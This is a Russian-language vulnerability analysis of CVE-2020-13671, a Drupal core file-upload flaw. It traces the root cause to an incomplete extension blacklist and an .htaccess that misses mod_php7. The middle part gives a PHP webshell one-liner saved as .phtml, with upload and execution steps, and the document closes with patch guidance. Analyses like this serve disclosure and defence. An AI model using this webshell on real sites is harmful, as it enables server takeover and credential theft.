
Подробный анализ и proof-of-concept для CVE-2020-13671, уязвимости удалённого выполнения кода в ядре Drupal через загрузку файлов, включая первопричину, шаги эксплуатации и способы устранения.
Программное обеспечение: Drupal Core 8.7.5 (Затронуты: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (High)
CWE: CWE-434 — Неограниченная загрузка файла опасного типа
CISA KEV: Да — известная эксплуатируемая уязвимость
Advisory: SA-CORE-2020-012
Drupal — это система управления контентом (CMS) с открытым исходным кодом, написанная на PHP, похожая на WordPress или Joomla, но ориентированная на создание более сложных систем — корпоративных сайтов, мультиязычных платформ. Drupal использует модульную архитектуру, позволяя расширять функциональность за счёт включения/отключения доступных модулей или установки дополнительных из сообщества.
Одна из базовых функций любой CMS — разрешить пользователям загружать файлы: аватары профиля, прикреплённые документы, вложения в статьях. Drupal сохраняет эти файлы в каталог sites/default/files/ и отдаёт их напрямую через веб-сервер (Apache или Nginx).
⇒ Это создаёт очевидную поверхность атаки: если злоумышленнику удастся загрузить PHP-файл в этот каталог, веб-сервер выполнит его при обращении через входящий запрос.
Чтобы предотвратить это, Drupal выстраивает несколько уровней защиты: проверка расширений файлов, переименование опасных файлов, размещение .htaccess для блокировки выполнения скриптов в каталоге загрузки. Но в версии 8.7.5 атакующие эксплуатируют именно слепое пятно между этими уровнями.
Эта уязвимость требует учётной записи с правами на загрузку файлов. По умолчанию в Drupal 8.7.5 обычные пользователи (Authenticated) имеют права только на просмотр контента и оставление комментариев — без права создавать материалы или загружать файлы.
| Учётная запись | Эксплуатируемо? | Пояснение |
|---|---|---|
| Администратор | Да | Полные права на загрузку |
| Редактор / Создатель контента | Да | Если выдано право "Создание материалов" с загрузкой, настроенной администратором |
| Аутентифицированный пользователь (по умолчанию) | Нет | По умолчанию не имеет права создавать материалы или загружать файлы |
| Аноним (не авторизован) | Нет | Нет прав на загрузку |
Однако на практике многие сайты на Drupal предоставляют обычным пользователям права на создание контента (форумы, общественные блоги, новостные сайты, принимающие материалы от читателей). В таких случаях атакующему достаточно зарегистрировать аккаунт, чтобы эксплуатировать уязвимость.
Схема атаки:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
В файле core/modules/file/file.module есть единственное регулярное выражение, которое определяет, какие файлы считаются исполняемыми:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Это регулярное выражение перечисляет 7 расширений: phar, php, pl, py, cgi, asp, js. Любой файл с расширением из этого списка Drupal автоматически дополнит .txt — что нейтрализует возможность выполнения.
Однако PHP-движок обрабатывает не только .php-файлы. В зависимости от конфигурации веб-сервера он также распознаёт и выполняет другие расширения:
| Расширение | Значение | Входит в regex? |
|---|---|---|
.php | Стандартный PHP | Да |
.phtml | Альтернативный шаблон PHP | Нет |
.php5 | Обработчик PHP 5 | Нет |
.pht | Шаблон PHP | Нет |
.phps | Исходный код PHP | Нет |
.shtml | Включения на стороне сервера (SSI) | Нет |
5 вариантов PHP-расширений полностью отсутствуют в регулярном выражении. Это означает, что файл с именем shell.phtml, отправленный в Drupal → regex не срабатывает → файл не переименовывается → сохраняется с исходным именем в каталог загрузки → веб-сервер видит .phtml → выполняет его как PHP → атакующий получает RCE. Это и есть корневая причина: Drupal использовал чёрный список для блокировки опасных расширений, но этот список был неполным.
Когда пользователь загружает файл, Drupal пропускает его через 3 проверяющие функции перед сохранением. Ниже разбор, почему все 3 не срабатывают с .phtml.
file_munge_filename() (core/includes/file.inc)Назначение: обнаруживать опасные расширения в середине имени файла и добавлять _, чтобы нейтрализовать их. Как работает функция:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Например, для shell.phtml:
explode разбивает на ["shell", "phtml"]shift забирает "shell", остаётся ["phtml"]pop забирает "phtml", остаётся []foreach не выполняется"shell.phtml" без измененийОднако если файл имеет только одно расширение, эта функция не вмешивается. Таким образом, она предназначена исключительно для работы с файлами с несколькими расширениями.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Это основной уровень защиты. Код из строки 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Если имя файла соответствует regex → MIME меняется на text/plain, а в конец добавляется .txt.
С shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') возвращает 0if не выполняется → файл сохраняет исходное имя
Таким образом, этот блок должен был блокировать опасные файлы, но поскольку regex не знает, что .phtml опасен, файл свободно проходит..htaccess в каталоге загрузкиDrupal размещает файл .htaccess в sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
Директива php_flag engine off отключает PHP-движок для всего каталога, но она применяется только к mod_php5. Drupal 8.7.5 работает на PHP 7, а значит, активен mod_php7, и он не отключается.
Кроме того, у .htaccess есть ещё 3 уязвимости:
.htaccess — на Nginx этот файл полностью бесполезенAllowOverride None → .htaccess игнорируетсяmod_php → директива php_flag не действуетecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Войдите в Drupal под учётной записью с правами на загрузку → Content → Add content → Article → в поле Image выберите файл webshell.phtml → Upload.
Drupal принимает файл, не переименовывает его и сохраняет с исходным именем в sites/default/files/.

После этого выполняем shell-команду whoami:

Таким образом, мы успешно получили RCE под пользователем www-data.
Дальнейшая проверка — просматриваем учётные данные:

Злоумышленник может прочитать settings.php, содержащий учётные данные базы данных, выгрузить всю БД, установить reverse-shell или повысить привилегии до root.
Обновите regex — добавьте 5 недостающих расширений:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Обновите .htaccess — добавьте отключение для mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
Патч работает, но по-прежнему опирается на чёрный список. Если в будущем появятся новые расширения (.php8, .phpt), regex придётся снова обновлять. Более основательный подход — белый список, разрешающий только заведомо безопасные расширения.
| Уязвимый файл | core/modules/file/file.module строка 28 |
|---|---|
| Корневая причина | В чёрном списке regex отсутствуют .phtml, .php5, .pht, .phps, .shtml |
| Воздействие | Загрузка .phtml → сервер выполняет → RCE |
| 3 обойдённых уровня защиты | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Патч | Добавить 5 расширений в regex + отключить mod_php7 в .htaccess |